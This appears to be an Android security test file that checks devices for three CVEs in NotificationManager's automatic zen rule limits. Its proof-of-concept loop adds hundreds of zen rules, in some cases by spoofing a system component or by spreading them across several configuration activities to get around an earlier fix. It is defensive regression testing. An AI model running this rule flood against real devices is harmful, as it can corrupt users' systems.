1 /* 2 * Copyright (C) 2022 The Android Open Source Project 3 * 4 * Licensed under the Apache License, Version 2.0 (the "License"); 5 * you may not use this file except in compliance with the License. 6 * You may obtain a copy of the License at 7 * 8 * http://www.apache.org/licenses/LICENSE-2.0 9 * 10 * Unless required by applicable law or agreed to in writing, software 11 * distributed under the License is distributed on an "AS IS" BASIS, 12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 * See the License for the specific language governing permissions and 14 * limitations under the License. 15 */ 16 17 package android.security.cts.AutomaticZenRuleTests; 18 19 import static org.junit.Assert.assertFalse; 20 import static org.junit.Assume.assumeNoException; 21 import static org.junit.Assume.assumeTrue; 22 23 import android.app.AutomaticZenRule; 24 import android.app.Instrumentation; 25 import android.app.NotificationManager; 26 import android.app.UiAutomation; 27 import android.content.ComponentName; 28 import android.content.Context; 29 import android.net.Uri; 30 import android.platform.test.annotations.AsbSecurityTest; 31 import androidx.test.InstrumentationRegistry; 32 import androidx.test.runner.AndroidJUnit4; 33 34 import com.android.sts.common.util.StsExtraBusinessLogicTestCase; 35 36 import org.junit.After; 37 import org.junit.Before; 38 import org.junit.Test; 39 import org.junit.runner.RunWith; 40 41 import java.util.ArrayList; 42 43 @RunWith(AndroidJUnit4.class) 44 public class AutomaticZenRuleTests extends StsExtraBusinessLogicTestCase { 45 private static final String URI_STRING = "condition://android"; 46 private static final String ZEN_RULE_NAME = "ZenRuleName"; 47 private boolean mNotificationPolicyAccessGranted = false; 48 private NotificationManager mNotificationManager = null; 49 private String mPackageName = null; 50 private UiAutomation mUiautomation = null; 51 52 @Before setUp()53 public void setUp() { 54 try { 55 final int timeoutDuration = 5000; 56 final int waitDuration = 100; 57 Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation(); 58 Context context = instrumentation.getContext(); 59 mNotificationManager = context.getSystemService(NotificationManager.class); 60 mPackageName = context.getPackageName(); 61 mUiautomation = instrumentation.getUiAutomation(); 62 mUiautomation.executeShellCommand("cmd notification allow_dnd " + mPackageName); 63 long startTime = System.currentTimeMillis(); 64 while (System.currentTimeMillis() - startTime < timeoutDuration) { 65 // Busy wait until notification policy access is granted 66 if (mNotificationManager.isNotificationPolicyAccessGranted()) { 67 mNotificationPolicyAccessGranted = true; 68 break; 69 } 70 Thread.sleep(waitDuration); 71 } 72 assumeTrue("Notification policy access not granted", mNotificationPolicyAccessGranted); 73 } catch (Exception e) { 74 assumeNoException(e); 75 } 76 } 77 78 @After tearDown()79 public void tearDown() { 80 try { 81 mUiautomation.executeShellCommand("cmd notification disallow_dnd " + mPackageName); 82 } catch (Exception ignoredException) { 83 // Ignoring exceptions 84 } 85 } 86 testUsingAppComponents(ComponentName owner, ComponentName components[])87 private boolean testUsingAppComponents(ComponentName owner, ComponentName components[]) { 88 int automaticZenRules = 0; 89 boolean isVulnerable = true; 90 final int ruleLimitPerPackage = (components != null && components.length > 1) ? 60 : 200; 91 ArrayList<String> ruleIds = new ArrayList<>(); 92 try { 93 // Storing the number of automaticZenRules present before test run 94 automaticZenRules = mNotificationManager.getAutomaticZenRules().size(); 95 96 for (int i = 0; i < ruleLimitPerPackage; ++i) { 97 if (components != null) { 98 for (int j = 0; j < components.length; ++j) { 99 int ruleNo = i * components.length + j; 100 Uri conditionId = Uri.parse(URI_STRING + ruleNo); 101 AutomaticZenRule rule = new AutomaticZenRule(ZEN_RULE_NAME + ruleNo, owner, 102 components[j], conditionId, null, 103 NotificationManager.INTERRUPTION_FILTER_ALL, true); 104 String id = mNotificationManager.addAutomaticZenRule(rule); 105 ruleIds.add(id); 106 } 107 } else { 108 Uri conditionId = Uri.parse(URI_STRING + i); 109 AutomaticZenRule rule = new AutomaticZenRule(ZEN_RULE_NAME + i, owner, null, 110 conditionId, null, NotificationManager.INTERRUPTION_FILTER_ALL, true); 111 String id = mNotificationManager.addAutomaticZenRule(rule); 112 ruleIds.add(id); 113 } 114 } 115 } catch (Exception e) { 116 isVulnerable = false; 117 if (!(e instanceof IllegalArgumentException)) { 118 assumeNoException(e); 119 } 120 } finally { 121 try { 122 if (mNotificationPolicyAccessGranted) { 123 // Retrieving the total number of automaticZenRules added by test so that the 124 // test fails only if all automaticZenRules were added successfully 125 automaticZenRules = 126 mNotificationManager.getAutomaticZenRules().size() - automaticZenRules; 127 for (String id : ruleIds) { 128 mNotificationManager.removeAutomaticZenRule(id); 129 } 130 } 131 int ruleLimitPerPackageTotal = 132 components != null ? ruleLimitPerPackage * components.length 133 : ruleLimitPerPackage; 134 boolean allZenRulesAdded = ruleLimitPerPackageTotal == automaticZenRules; 135 isVulnerable = (isVulnerable && allZenRulesAdded); 136 } catch (Exception ignoredException) { 137 // Ignoring exceptions 138 } 139 } 140 return isVulnerable; 141 } 142 143 // b/220735360 144 // Vulnerable library : framework.jar 145 // Vulnerable module : Not applicable 146 // Is Play managed : No 147 @AsbSecurityTest(cveBugId = 220735360) 148 @Test testPocCVE_2022_20143()149 public void testPocCVE_2022_20143() { 150 try { 151 ComponentName appComponent = 152 new ComponentName(mPackageName, PocActivity.class.getCanonicalName()); 153 ComponentName[] components = {appComponent}; 154 boolean testUsingAppSingleComponentStatus = testUsingAppComponents(null, components); 155 assertFalse("Device is vulnerable to b/220735360!! System can be corrupted by adding" 156 + " many automaticZenRules via NotificationManager#addAutomaticZenRule." 157 + " Note: Device also seems to be vulnerable to b/235823407 and" 158 + " b/242537431", testUsingAppSingleComponentStatus); 159 } catch (Exception e) { 160 assumeNoException(e); 161 } 162 } 163 164 // b/235823407 165 // Vulnerable library : framework.jar 166 // Vulnerable module : Not applicable 167 // Is Play managed : No 168 @AsbSecurityTest(cveBugId = 235823407) 169 @Test testPocCVE_2022_20425()170 public void testPocCVE_2022_20425() { 171 try { 172 ComponentName firstConfigurationActivity = 173 new ComponentName(mPackageName, PocActivity.class.getCanonicalName()); 174 ComponentName secondConfigurationActivity = 175 new ComponentName(mPackageName, SecondPocActivity.class.getCanonicalName()); 176 ComponentName[] components = {firstConfigurationActivity, secondConfigurationActivity}; 177 boolean testUsingAppMultipleComponentStatus = testUsingAppComponents(null, components); 178 assertFalse( 179 "Device is vulnerable to b/235823407!! Bypass fix of CVE-2022-20143:" 180 + " Bypass zen rule limit with different configuration Activity" 181 + " Note: Device also seems to be vulnerable to b/242537431", 182 testUsingAppMultipleComponentStatus); 183 } catch (Exception e) { 184 assumeNoException(e); 185 } 186 } 187 188 // b/242537431 189 // Vulnerable library : framework.jar 190 // Vulnerable module : Not applicable 191 // Is Play managed : No 192 @AsbSecurityTest(cveBugId = 242537431) 193 @Test testPocCVE_2022_20455()194 public void testPocCVE_2022_20455() { 195 try { 196 ComponentName systemComponent = 197 new ComponentName("android", "ScheduleConditionProvider"); 198 boolean testUsingSystemComponentStatus = testUsingAppComponents(systemComponent, null); 199 assertFalse( 200 "Device is vulnerable to b/242537431!! System can be corrupted by adding" 201 + " many automaticZenRules via NotificationManager#addAutomaticZenRule", 202 testUsingSystemComponentStatus); 203 } catch (Exception e) { 204 assumeNoException(e); 205 } 206 } 207 } 208